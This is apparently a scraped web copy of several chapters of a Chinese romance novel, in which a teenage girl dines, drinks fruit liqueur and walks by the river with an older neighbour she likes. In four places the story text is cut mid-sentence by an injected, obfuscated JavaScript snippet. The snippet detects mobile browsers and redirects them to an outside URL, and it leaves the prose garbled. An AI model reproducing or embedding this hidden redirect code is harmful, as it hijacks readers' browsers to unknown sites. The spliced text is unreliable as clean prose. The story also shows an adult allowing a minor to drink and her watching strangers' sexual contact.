宋昭昭眉头微蹙,闭着眼,手伸到一侧摸索手机,拿到面前了眼睛才缓缓打开一条缝,看见顶端的人名—— 陈历! 说曹操,曹操到,宋昭昭震惊地吞咽了下口水,慌里慌张解锁手机,点开对话框。 陈历:【今天在家吗?】 “嘶——” 宋昭昭的眼珠子提溜地转了转,他问这个问题,难道是有事找她? 宋昭昭忙不迭回复:【在的。】 回完消息后,陈历那端又没了动静,她就这么抱着手机等啊等,等得人都犯困打哈欠了,才又进来一条信息。 陈历:【晚上出来吃饭吗?】 宋昭昭:【啊?】 他们两个人在一起吃过很多顿饭,但大多数情况下双方长辈都在场,少数时候宋昭昭的父母不在家,她去陈历那儿蹭饭,或是莲姨上班,宋父宋母盛情邀请陈历来家里吃。 但两个人单独出去吃,印象里还真没有过。 他为什么突然找她出去吃饭? 内心的疑问像一块悬石,在没有得到陈历回答前宋昭昭始终心惊胆战。 陈历:【中考考得不错,请你吃饭。】 原来如此! 对话框内蹦出这条消息时,宋昭昭登时睁圆了双眼,继而嘴角上扬,笑得见牙不见眼,她反复琢磨这句话,唇齿间的雪糕甜味都渗进了心里。 他也在关注她的中考吗?居然主动提出请她吃饭。 宋昭昭此刻的心情很雀跃,她已经开始思考今晚赴约的时候该穿哪条小裙子,前两天和妈妈逛街,因为中考考得不错,妈妈奖励她一支口红,她挑了豆沙色的大牌口红,温柔,涂起来更衬肤色。 晚上它即将派上用场。 脑海中已经浮想联翩,她不忘客气地回一句:【好呀!谢谢陈历哥哥!】 附赠了“感恩”、“你真好”等表情包,一排的表情包中混进来一个“飞吻”作为感谢,似乎有些明目张胆。 宋昭昭觉得不妥,最后又悻悻然撤回。 幸好陈历在忙,过了十分钟才回:【你想吃什么?我先订位置。】 选择有很多,宋昭昭最后定了烤肉。 这家烤肉店连锁店在市民广场,离市区的江畔很近。 暑假到来,广场上的摊贩不计其数,许多市民饭后前来散步消食,每晚人头攒动,晚上偶尔还会有表演节目。 宋昭昭选择烤肉藏了点私心。 她想着吃完烤肉后无事可做,她可以假装好奇,拉着陈历去市民广场看节目,最后沿着江畔吹吹晚风、散散步。 她期待两个人混入夜色,在人海中并肩前行,拥有一段独属于彼此的安静回忆。 陈历订好位置后便去忙工作了。 饭点前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405671|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋昭昭向父母告知了这个消息,然后穿上她新买的小白裙,踩着略带高跟的凉鞋,前去赴约。 坐上的士,她随即掏出随身携带的小镜子,开始在车上涂抹口红。 之所以不在家里先涂好再出门,是因为长辈们一直将他们两人当作兄妹对待,从来没有察觉宋昭昭的小心思。 既然是兄妹,那一块儿吃饭何必精心打扮? 她太看重,刻意装扮自己,反而会引来父母的怀疑。 但……女为悦己者容。 他们第一次单独在外面吃饭,还是陈历主动邀约。宋昭昭小女孩的心思泛滥,想以最好的状态前去赴约。 去的路上她笑容明媚,满心期待。 - 烤肉店门口碰面,宋昭昭穿一身白裙,晚风从江岸徐徐地刮过来,裙摆飘扬,一头黑发随风飞舞。 宋昭昭与陈历的视线在空中交汇,忍了一下,没忍住,嘴角缓缓上扬。 她想时刻保持风度,但在见面的瞬间仍是破功了。 宋昭昭顿了一下,蹦蹦跳跳地朝陈历的方向走来,少女脸颊酡红,仿若漫山遍野的枝头盛开的桃花。 陈历立在原地,从初见的微怔,到后面收拾好脸上的微表情,他微微歪头,宠溺地笑了。 对比平时,宋昭昭还是收敛不少,她走到陈历面前,站定后,不好意思地往四周张望了下,放低声音问:“你等很久了吗?” 陈历穿着白T,长得又高又白净,等在烤肉店门口的时候,就有不少过路人朝他投来欣赏、流连的目光。 这样的眼神他见过太多次,早就波澜不惊。 然而真正引起周围人一阵惊呼的,还是宋昭昭的出场。 小姑娘颇有点“吾家有女初长成”的意味,这两年身高长了不少,身材也更凹凸有致,脸上不加过多修饰,抹了豆沙色的口红,反更有种唇红齿白的美丽,她穿一身小白裙,迎风朝陈历走过来,非常有影视剧里男女主角相遇的氛围感。 八卦是人类的天性,陈历和宋昭昭面对面站立,吸引了太多人好奇打量的目光。 旁观者的目光太过炙热,宋昭昭的余光自然注意到别人的探究,她平时大大咧咧,这会儿脸皮变薄,不敢大大方方回看。 反倒是陈历落落大方,他回:“刚到,进去吧。” 19. 第十九章 19 宋昭昭跟在陈历身后进入店内,服务员领着他们去到一个靠窗的位置旁。 陈历请客,奖励宋昭昭中考取得好成绩,因而把菜单递给了宋昭昭,全程由她来点。 宋昭昭没跟他客气,来之前她早盘算好,这回任由陈历请客,不拂他的面子。但请客的事情总要有来有回嘛,下次她再来请陈历吃饭可不就有借口了。 一来二去,两个人单独相处的机会又增加咯,完美! 浏览了一遍菜单,宋昭昭按照两个人吃饭的份量点了几盘牛肉和菌菇拼盘,又加了一份小食,视线上上下下扫了一遍,她抬起头飞速地瞄了眼陈历,又低下头盯着菜单某一处。 陈历看出了她的欲言又止,问:“怎么了?” 闻言,宋昭昭抬起头,问:“晚上可以喝酒吗?”声音低得几乎微不可闻,她小心翼翼地观察他的表情,见他一言不发,小声嘀咕,“也不是一定要喝。” 喝酒完全是她一时兴起,宋昭昭问出口之前已经预料到陈历会拒绝。 他这么一位循规蹈矩的少年,想来应该很少做越矩的事情,可能会苦口婆心地劝导宋昭昭,喝酒伤身体,未成年不可以饮酒。 然而令她意外的却是,在她期望的眼神中,陈历点了点头,郑重叮嘱:“可以,但是要少喝点。” 宋昭昭又惊又喜,连忙乖巧点头,回复的音量都抬高不少:“好的!” 服务员先上的果酒,一人一瓶,陈历拿起子打开,稳稳当当地倒在了玻璃杯里。 紫色那一杯是葡萄白兰地,粉色这一杯是蜜桃威士忌。颜色浅浅的,不含任何杂质,头顶的灯光打下来,酒水在杯中晃荡,闪烁出五彩的光。 宋昭昭嘴角微微上扬,等不及,举起杯子轻抿了一口,酒的度数低,并不辣口,反倒带着点水果的清香和甘甜。 双眼冒出闪烁的光芒,宋昭昭朝陈历肯定地点点头:“还不错哦!” 菜陆陆续续上桌,陈历专心致志地夹菜烤肉,每次烤好,都第一时间把肉往宋昭昭的盘里夹。 明亮的灯光下,宋昭昭望着他,笑靥如花。 宋昭昭的胃口不大,吃饱喝足后打算接过夹子帮忙烤肉,然而正当她伸过手拿夹子时,烤肉盘里的油忽地往外飞溅,“嗞啦”一声,差点儿蹦到她纤细、光滑的手臂上。 宋昭昭眼疾手快地挪走了手,拍拍胸脯,有点儿心有余悸地回望烤肉盘。 她憋着嘴,显然还在回神之中。 陈历见状,立时皱起了眉,伸长了脖子关心道:“没事吧?” “没事。” 宋昭昭摇头,正说着,她又要去拿夹子。 这一回,陈历率先挡了一下她的手,先她一步拿走夹子,不急不缓道:“你专心吃肉,我来烤。” 嗯? 本打算反驳的宋昭昭在那一刻仿佛福至心灵,意识到陈历应该是在担心、照顾她,心里顿觉美滋滋,顺应他的话缩回了手。 手上闲着,眼睛自然忙碌起来。 灯光下,陈历井井有条地夹菜包肉,一举一动都透着少年人的帅气和干脆利落,宋昭昭看得逐渐入迷,脑袋晕晕沉沉的,好似是今晚喝的酒起了后劲。 但其实酒的度数并不高。 店内人声鼎沸,他们的位置靠窗,处于喧闹和安静的交界处,宋昭昭在这样亮堂、拥挤的空间,难得细细打量他。 一学期不见,他的头发比离家前又剪短了些,举着夹子的手臂精壮白皙,都能清晰的看见那几根青色血管。 专注某件事的时候,最具有男性魅力,宋昭昭莫名舔了舔嘴唇。 她的视线不自觉上移,移至他紧闭着的、抿成一条线平直的线的嘴唇,并不单薄,微带点肉感,虽然吃的是烤肉,但他注意卫生,所以嘴唇上并没有沾到油渍。 干干净净,清清爽爽。 - 宋昭昭吃到八九分满,终于放下筷子,最后的扫尾工作全由陈历包揽。 她坐在对面,安安静静地玩着手机,余光时不时瞟向他。 离开烤肉店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405672|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,两个人的杯子里都还剩最后一口酒,“干杯”的念头在脑海里一闪而过,宋昭昭抓住了它。 她举起杯子,在桌面轻轻敲了两下。吸引来陈历疑惑的目光后,她缓缓开口:“干个杯吧,祝我中考取得了好成绩,也祝你接下来的大学生活顺顺利利!” 她惯会说好听话。 “好。” 听完之后,陈历微笑着点点头,举起杯子朝她的方向伸过手来。 “当——” 透明的玻璃杯子在半空中碰撞,发出清脆的声响,摇曳的灯光下,宋昭昭顿觉眼前人影憧憧。 最后,那些摇摇晃晃的光又都聚在陈历身上。 她弯了弯嘴角,两人相视一笑,对着杯中酒一饮而尽。 这杯酒真甜啊,宋昭昭想。 陈历结完账,两人一前一后走出烤肉店。 店门口排队取号的人坐了整整两排,夏日晚风带着酷暑的余热从远处吹过来,宋昭昭鬓边的碎发飘扬,她眯着眼,视线越过人群,望向远处热闹的广场。 华灯初上,市民广场逐渐热闹起来,男男女女,老老少少,吃过晚饭后在广场上活动,跳广场舞的、耍太极拳的、打羽毛球的、玩滑板的、跳街舞的……各项活动齐上阵,引来市民的驻足,现场响起如雷鸣般的掌声。 远处还有两块专门的空地供摊贩们摆摊,卖气球的、鲜花的,还有各种各样的小玩具、挂件……小朋友们围在气球摊子前叽叽喳喳,扯着父母的衣角不肯离去。 现场人头越来越多,好一副热闹的景象。 陈历的目光顺着宋昭昭视线的方向看过去,不由浅浅一笑。 他正要开口询问她想不想过去玩会儿,宋昭昭顺势提出了想法:“陈历哥哥,要沿着江畔散会儿步吗?” 在他回答前,宋昭昭立时补充道:“就当消食了!” 期盼的眼眸宛如天上亮晶晶的星星,陈历倒映在她眼中,神情变得越发柔和。他与那双眸子对望了片刻,点头答应。 “好啊。” 20. 第二十章 20 陈历工作了一天,精神和身体都处于极度高压之下,人难免感到疲惫。 此刻天上圆月高悬,江畔清风拂面,市民广场热闹非凡,沿着江岸散散步,或许能缓解连日来的劳累。 两个人并肩,沿着江畔行走。 岸边每隔几米矗立着一盏路灯,昏黄的灯光从头顶洒下来,照在人的肩膀,薄薄一层,像雾又像霜,照得两个人影摇摇晃晃。 许是喝过酒的原因,眼睛看什么都朦朦胧胧的,宋昭昭微低着头,专注地盯着水泥路面上的两个人影。 靠近路灯时缩成小小一团,远离路灯时又拉得好长。原理很简单,但她就是莫名觉得这个画面很温馨,因而看了许久。 陈历向来话不多,宋昭昭居然也难得安静,他的目光有意无意地瞟向一旁的人。 她低着头,沉浸在自己的世界里,偶尔往左拐一下,偶尔向右别个头,在她刻意的回避之下,地面上的两个小人很少撞到一起,始终并肩往前。 他总算看出了她低头在忙碌些什么,陈历弯唇,起了捉弄的心思,停下脚步。 他停得很突然,一心往前的宋昭昭走出半米远,还疑惑为什么身边的小人没有跟上她的步伐,猛地抬头看向左侧,才发现身边的位置已经空了。 人呢? 宋昭昭神情有片刻的慌张,侧过身,视线投向背后。 亮晶晶的眼眸里停了一个高大、帅气的少年,他一动不动地站在路灯下,四周的人或物仿佛瞬间黯淡下去,连嘈杂的声音都渐渐隐去。 天地万物,如何变幻,最终都只剩下眼前与她对望的他。 宋昭昭迷茫地眨了下眼睛。 喉咙有些干涩,宋昭昭将一切不自然的反应都归咎于今晚喝的果酒,她舔了舔嘴唇,问得有些迟缓:“你怎么不走了?” 陈历凝视着她,但笑不语。 虽说宋昭昭在创造与陈历独处机会时总是勇气可嘉,但这么被他盯着仔细打量,她仍然会觉害羞。 她开始眼神躲避。 见陈历笑而不语,宋昭昭羞赧地转过头,语气低低的:“你不走,那我走啦啊。” 算不上威胁,她这话里一点气焰都没有。 宋昭昭往前走,速度逐渐加快,气恼得开始责怪那瓶酒,让她今晚徒增无数个莫名其妙的念头。 那些念头定是喝多了酒,才会自作多情地冒出来。 譬如,他望向她时,她总觉得眼神里似乎比以前多了点她看不懂的东西。 再往前走,人群渐少,吵闹的声响也远去。 走进一条狭窄的小道,道旁停着一辆黑色轿车,车与旁边围墙的中间竖立着一棵大树,树干粗壮,看起来有些年头。 宋昭昭走的比陈历快,甩开陈历远远一大截的距离。她发现这么一处角落的时候,顿时起了捉弄的念头。 不如钻进轿车与围墙的空隙中躲起来,等陈历走到此处时,再跳出来大喝一声,他肯定会被吓一跳。 他平时总是沉着冷静,不知道被吓到时会不会爆粗口,或者一蹦三尺高? 恶作剧的想法一旦冒出头,很难再将它压下去。 宋昭昭脸上浮起一抹坏笑,猫着身子往轿车与围墙的空隙里面钻。 这里没有路灯,只有远处城市的霓虹带来寥寥无几的微光,小道两旁黑漆漆的,宋昭昭微弯着腰挤进半个身子。 然而正当她还要继续前进的时候,她恰好抬了抬下巴,视线里闯入一对青年男女。 女生背靠大树,男生压着她,一手揽住她的腰,一手箍住她的后脖颈,女生退无可退,仰着头被男生抱在怀中。 他的鼻尖蹭了蹭女生的鼻尖,额头抵着额头,目光沉沉。 女生的惊呼未出口,就被男生的嘴巴堵了回去。 起初只是浅浅地碰了一下,女生没有拒绝,男生更胆大妄为。 他贴着女生的嘴唇啄了一下又一下,仿佛啄木鸟啃树似的,逐次加重力道,最后,两个人的唇瓣紧密地贴在一起,发出“打啵”专属的声响。 一面是围墙,一面是轿车车身,此条小道本来就离市民广场有段距离,来往的行人并不多,安静的空间内,暧昧的气氛逐渐发酵。 两个人吻得难舍难分,男生偶尔还会退出来说两句浑话。 太浑了,宋昭昭此前从来没有听到过如此露骨大胆的话,因而直接被吓得呆愣在原地,忘了撤退。 身体发烫,脸颊的绯红一路蔓延至耳廓,宋昭昭的身体也起了异样的变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405673|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化。 从来不曾有过。 眼前的男女越发肆无忌惮,女生的手原本抵在男生胸膛前面,后面随着男生的指引逐渐往下探索。 她移得缓慢,时不时被男生的亲吻打断。 宋昭昭从未见过如此香艳的画面,完全颠覆想象,虽然觉得偷窥不道德,但好奇心促使她定定地站在原地,完全忘记了为何她会挤进这条小道。 她瞪圆了眼睛,眼睁睁看着女生的手捉住男生的腰,再往下…… 宋昭昭紧张地屏住呼吸。 忽然,眼前覆上一双手,冰凉的触感让她下意识选择闭眼,不等她惊呼反抗,手腕被人紧紧攥住,迅速拉离了这个地方。 眼前一片黑暗,宋昭昭用力掰开遮住眼睛的手,本能想去挣脱,身侧的人却忽然开口了:“别动。” “不许睁眼。” 嘶哑的声线,居然隐隐颤抖。 这声音再熟悉不过,宋昭昭听到之后非但没有放松地松垮肩膀,反而越发紧张局促。 他什么时候出现的? 他也看见了刚才的画面,对吗? 他是成年人了,对这方面肯定比她懂,他知道接下来那对男女会在大庭广众之下做出什么出格的事情,所以特意拉她走,是吗? 如果她解释自己并非故意偷看,他会信吗? 宋昭昭听话地闭着眼,提着一颗心,左拐右拐地跟他远离了是非之地。 其实也只是往前走了几分钟的路,走进一条更深的小巷子,外面的喧嚣和嘈杂再也听不见时,宋昭昭听到了自己胸膛内传出来的,好似擂鼓敲打的声音。 越来越急,越来越密。 她的心很慌乱,乱到完全不知道该怎么解释。 宋昭昭胡思乱想之际,拉着她前进的手停了下来。宋昭昭闭着眼没有急刹,直接撞进了陈历的胸膛。 虽然相撞的时间很短,几乎是刹那之间,可她就是这么直观地感受到了他胸膛的滚烫,与方才遮住她眼睛的冰凉掌心,有着天差地别的温度。 四下静得仿佛能听见蝉鸣,虫叫,怎么耳边传来了遥远的“咚咚咚”的声响? 宋昭昭后知后觉地睁开眼,微微仰起头。 哦,鼓声似乎也有他的一份。 21. 第二十一章 21 两个人面对面站立,对上眼后陈历又避开她的视线,宋昭昭心里的慌张忽然就跟回退的海浪似的,倒回了海里。 她睁着一双看似迷蒙的双眼,一眨不眨地盯着陈历,问:“你干嘛拉我走?” 居然还有几分理直气壮,陈历被气笑了。 当时分明是她卡在围墙与车身的屁股之间进退两难,一边好奇地立在原地偷看,一边又双手紧紧攥住裙子,想走,脚却跟粘了胶水似的拔不走。 这会儿她的裙摆上还留有刚才因紧张过度,攥紧布料留下的旋。 “非礼勿视,知不知道?”陈历回过头,视线从那两处旋缓慢上移。 “我,我又不是故意的。”宋昭昭结巴。 “哦?” 陈历像是听到了个笑话,挑了挑眉:“你不是故意的,往犄角旮旯钻什么?那块地方,如果不是想刻意做点什么事,一般人也不会挤进去吧。” 他若有所思地盯着她。 宋昭昭心虚地别开眼,她当然不能承认是为了吓唬他,才看了这么一出好戏,于是只能扬声反复强调:“意外,都是意外!” 陈历见她梗着脖子嘴硬,无奈地点点头:“行,意外。” 陈历说完,场面突然静了一瞬。 宋昭昭脑海里浮现出刚才那一幕画面,男男女女对彼此的身体有渴求,因而手不安分地在对方身上上下游动,画面最后停在了女生将手伸进男生的裤子。 紧接着,是一片黑暗。 明明想要尽快忘掉,但宋昭昭第一次在现场如此近距离地观看男女生接触、接吻,带来的冲击力实在太大,那些场景跟电影回放似的,在脑子里不断闪回,小细节也变得越发清晰。 陈历的视线在宋昭昭脸上游移,远处的光将两个人拢在一块儿。 气氛陡然升温。 约莫过了两三分钟,眼看着她和陈历之间的气氛即将要陷入尴尬的沉默,宋昭昭脑子卡壳,忽地脱口而出:“陈历,你有没有和别人这样亲过嘴?” 连“陈历哥哥”都不叫了,这回她直呼其名。 或许是因为,这一个问题,她不是以“妹妹”的身份去问,而是以一位女生的角度向他询问。 话音刚落,宋昭昭也被自己的勇气吓了一跳,她怎么敢?怎么敢这么大胆且明晃晃地问出这个问题? 不过,她不打算收回。 圆月高悬,皎皎月色照得地面发亮,仿佛铺上一层层柔光。 陈历收敛笑容,注视着宋昭昭。 他的眼神太过严肃,尽管表面看来依旧是波澜不惊的湖面,然而深不见底的湖水底部似乎在酝酿一场风暴。 宋昭昭咬了咬下唇,脊背僵直,迎着他的目光与他对视。 陈历耐人寻味地哼笑了声,问:“你对我的事情,好像很好奇?” 当然! 从初遇的第一面起,她就没有停止过探索他,好奇心让她坚持了三年之久,她在那些岁月里只摸到些细微末节,始终离他很远。 除了知道他是个低调谦逊、宠辱不惊的人,知道他是个“做多过于说”的行动者,至于其他,她知之甚少。 高中的时候他注重学业,没有谈恋爱,也不打算交女朋友,那现在呢? 成年之后的他是否改变了自己的想法,抑或是,已经在大学里找到心仪的女孩子? 实在是他的目光太过炙热,宋昭昭被盯得有些不好意思,也觉得自己不该这么直白地去询问别人的隐私。她渐渐败下阵来,不自然地咳嗽了两声,嘀咕道:“就问问嘛,你不愿意说就算了。” 说罢,她提起脚准备离开这个静谧、闭塞的小巷。 “没有。” 在宋昭昭别过头之前,陈历率先给出答案,声音沉而稳,语气坚定。 转身的身影顿了一顿,这会儿轮到宋昭昭吃惊,她半信半疑地问:“你该不会是……”她想问陈历的性取向。 “不是!” 陈历太了解宋昭昭这人的脑回路,几乎在她抬眼的瞬间就猜到她想问的问题,当即扬声给出了否定的答案。 “难道你有难言之隐?” 宋昭昭平时看过几本小说,这会儿想象力拉满,真诚发问,声音落到陈历耳里,有几分贱嗖嗖的意味。 “想什么呢!” 陈历毫不留情给了她一个脑瓜崩,收了力道,否则将她脑门弹红肿,她又得皱皱巴巴、哼哼唧唧,脾气上来了还不理人。 “嘶——” “怎么还打人呢!” 宋昭昭连连往后退了两步,捂着脑门瞪陈历,她剜了陈历一眼,意味深长道:“该不会被我猜准了吧,不然你急什么?” 这话简直强词夺理又没有逻辑,陈历佯装撸起衣袖,作势要给她多来几个脑瓜崩。 宋昭昭见状,转身就跑。 边跑边大声喊:“我说得没错啊,你喜欢女生,自身条件又这么好,为什么这么多年都还是单身啊?我不信。陈历,你是不是在诓我,怕我告诉莲姨啊!” 心情飞扬,宋昭昭嘻嘻哈哈倒着跑,完全没注意到对面来了一辆电瓶车,骑车的男人也没注意看前面,哼着小曲儿往河畔远眺。眼看着人和车即将撞上,陈历心骤然一缩,来不及大声喝止宋昭昭往旁边靠。 他本来追一下停一下,跟宋昭昭闹着玩,这会儿心急之下往前赶了两步,单手捉住她的手腕,强势地将她往怀里带,宋昭昭反应不及,惯性致使她彻底跌进他的胸膛,两人肌肤相贴,心跳开始加速。 天旋地转不过瞬间,然而留给她的心动远不止那一秒。 宋昭昭缩在陈历的怀里,诧异地微张嘴巴,眼波流转,她想说“你弄疼我的手了”,可是话卡在喉咙里,怎么都发不出声。 心脏跳动得太快了,一直跳到嗓子眼,堵住了她全部想要说的话。 身后的电瓶车主人差点儿撞到人,车把手在他手中歪歪扭扭,他回过头恶狠狠地瞪了两眼陈历和宋昭昭,气势却不输。 擦肩而过的瞬间,他抬高了声音骂:“不长眼的狗东西,大街上玩什么!” 差点儿酿成大祸,还敢恶人先告状? 宋昭昭原先还沉浸在被陈历“英雄救美”的戏码里,一句话直接让她的怒火冲到脑顶,她急了,扯着嗓子跟他对喊:“就在街上玩,关你什么事?你开车不看前面啊!” “就玩,就玩!你才是狗东西,恶狗!” 她骂人可从来不输,若不是陈历使劲拉着她,她真想冲上去,将人从电瓶车上拽下来,拳打脚踢一番才解气。 “呸!”那男人已经骑远了,声音还在巷子里回荡,“年纪轻轻不学好,一对狗情侣!” “狗——情——侣——” “他骂我狗?” 宋昭昭怒火中烧,如何都挣脱不开陈历双臂的束缚,气急之后,她仰头瞪着陈历,嘴里骂骂咧咧:“拦着我干什么!” “他骂我们狗诶!他说我们是狗!” “狗什么?”陈历比宋昭昭冷静许多,声音格外平静地问出了下一句。 狗什么? 宋昭昭长长呼出一口气,静了两秒仔细回想,当她眼睛开始闪烁躲开陈历,陈历知道,她想起来了。 宋昭昭胸膛微微起伏,显然没有消气,撇嘴道:“他乱讲。” 陈历哑然失笑。 他松开锢住宋昭昭的手,待她稍稍平静下来,才轻轻拍了下宋昭昭的脑袋,同她叮嘱:“以后在外面,脾气不要那么冲。” “尤其一个人的时候,记得保护好自己。人家骂就骂了,骂两句他又能得到什么好处?没受伤,没吃亏,其他一切都可以不计较。” “人身安全是第一重要的,宋昭昭,听进去了吗?” 陈历知道宋昭昭并非不懂大是大非的人,但她的性子有时候会比较急,万一在外面和别人起了争执,面对百斤大汉,动手肯定吃亏,若是对方人数多,打起架来她必然处于下风。 因此,他认真叮嘱,仔细教诲,是希望她能学会冷静处事,把安全放在第一位。 陈历这一通话,也不知道宋昭昭听进去多少,她似懂非懂地点点头,眼神有一丝波动。 搭在她头上的手,温柔地揉了揉她的头发,陈历莞尔:“走吧,回家。” - 原路返回,途径市民广场,陈历径直走向了卖花的小摊子。 虽然摊子前的花束没有门店的种类多,但摆放的每束花看着都十分新鲜,没有蔫儿的,包装也挺精美。 宋昭昭跟在他身后,探出一个脑袋问:“你要给莲姨买花啊?” “嗯,你说买哪束?” 既然是给莲姨送花,那肯定要好好挑选。 宋昭昭从他背后钻了出来,单手摩挲着下巴,认认真真研究起来。她从东走到西,巡视一圈,又跑去问摊主销量比较高的几束花,问完后将这摊子前摆放的花束都扫了一眼,最后下了决定,斩钉截铁地指向其中一束:“康乃馨吧,花漂亮,花语还有爱与尊敬的意思。” “那几束花开得最好,拿回家能养一段时间。” 陈历点头,不置可否。 待她收回手,陈历躬身去拿花,修长的手指轻轻松松地捞了两束康乃馨,而后侧目对她说了句:“你也去挑一束。” “我?” 宋昭昭的食指缓缓指向了自己,满脸不可置信,他要送她花?她也有份吗? “过了这个村,就没这个店。”陈历将两束康乃馨抱在怀中,一本正经地看向宋昭昭。 “吼哟,大方得勒。” 宋昭昭嘴角忍不住上扬,提高声音,悠悠地拉长了语调。 虽然语气是调侃的,她也确实毫不客气地弯下身去挑选花束,可这呼吸的频率怎么都降不下来。 花香萦绕在鼻尖,她细细嗅了一口,闻到唇齿间飘出来的果酒的香气。 酒果然不能多喝,今晚出现那么多梦幻的事情,让她都快分不清现实还是梦境。 宋昭昭挑得严谨,陈历就这么直直地站在她身后,给了她很大的压迫感,宋昭昭不得不往右挪了挪位置。 后脖颈逐渐紧绷,她的视线在面前五颜六色的花束中巡视,无论往左还是往右,始终被那一束红玫瑰牢牢牵住目光。 然而红玫瑰代表爱情,这是普通人都知道的道理,挑这一束花未免显得刻意。 最后,在她几经犹豫和纠结之下,宋昭昭拿起一束茉莉,她起身回头,找到陈历的眼神后朝他晃晃手,意在询问茉莉如何? 陈历眼中噙着意一丝笑意,朝她伸手:“拿过来吧,我去结账。” 他的背影宽大、干净,笔直地走向摊主时,宋昭昭根本舍不得挪开视线。 茉莉花的香味清幽淡雅,枝干长长的、直直的,洁白的花朵未全部绽放时,娇小玲珑,惹人怜爱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405674|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宋昭昭之所以挑选它,是因为在网上听过这样一句话—— 送君茉莉,愿君莫离。 - 乘坐的士回家,宋昭昭和陈历坐在后座,她从头到尾都将那一束茉莉抱在怀中,舍不得松开手。 天色已暗,霓虹闪烁,她降下车窗,任由迎面的晚风往脸上扑。 宋昭昭感到快活无比,闭上眼享受这一刻的自由自在。 酒意趁着夜色爬上她的脸颊,这会儿红扑扑的颜色衬得人纯白娇媚。茉莉花在她怀中,蹭着她的发丝和脸颊,多少有点电影中女主角唯美明媚的氛围感。 陈历坐在她右手边,侧目盯着她看了几分钟,趁她不注意,从口袋里摸出手机,朝着她的方向偷偷拍了一张照片。 少女流畅柔美的侧颜,飘逸长直的发丝,还有那一束不夺人眼球的茉莉。 夏夜晚风,明月少女,一切都完满得恰到好处。 陈历嘴角浮起一丝不易察觉的笑意。 的士停在风光路尽头,下了车,两个人并肩走回家。 已是晚上九点,路上黑漆漆的,小道两旁的路灯坏了两盏,其中一盏灯忽明忽暗,光亮闪烁了几下,彻底没了动静。 夏日植被茂盛,灌木丛生机勃勃,绿意盎然。 花坛中匍匐着无数只生物,时不时传来聒噪的虫鸣,“吱吱吱”地尖叫,树枝头的蝉也不甘示弱,叫声此起彼伏。 他们沿着小路,一言不发地走到楼道口。 上楼之前,陈历将怀中的其中一束康乃馨递给了宋昭昭。后者望着他递过来的那束花,愣了愣,两秒钟后她迅速反应过来。 “给我妈的?” 陈历噙着笑意,点头。 原来如此。 在宋昭昭的印象里,陈历大概是受到莲姨省吃俭用的影响,花钱方面从来不大手大脚,即使是想送花给莲姨,也不至于一次买两束,当时陈历抱了两束康乃馨,宋昭昭还好奇为什么,原来……他早早就想好了将其中一束送给她的妈妈。 宋昭昭有点感动,不得不承认,他真是个贴心、周到的人。 她接过花,向他表示感谢。 月光照耀着大地,风从四面八方往楼道口涌进来,陈历率先走上楼梯,宋昭昭紧紧跟随在他身后,目光沉沉地盯着他的背影。 有时候,她会有片刻的恍惚,总觉得陈历坚定的内核里隐藏着浓郁的孤独底色。 有那么一两个瞬间,她望着他的背影,浮现出想冲上前去拥抱的冲动。 家门口,他们互相作别。 宋昭昭回家时,宋父宋母正端坐在客厅的沙发上看电视,见她进门,两个人的眼睛统一朝她的方向看过来。 宋母率先注意到她怀中的花。 不等她提问,宋昭昭扬起笑容,朝她举起手:“妈,陈历哥哥送你的康乃馨。” “呦,这孩子怎么突然想起来送花,让他破费了!” 宋母笑容灿烂,小心翼翼地从宋昭昭手中接过康乃馨,一面说着他真有心,一面又开始对他滔滔不绝的表扬。 一束花,买一晚上的好心情,很值当。 宋母爱不释手地抱着花,开始询问他们今晚都去吃了什么,怎么这个点才回家。 中途她之所以没有打电话催过,是因为她觉得宋昭昭跟陈历在一块儿不会出什么意外,她对陈历十分信任。 面对宋母的疑问,宋昭昭一一耐心解答。 末了还替陈历说好话:“陈历哥哥人真不错,又请我吃饭,又送我们花,他太客气了!妈,你说下次我要不要请回去啊?” 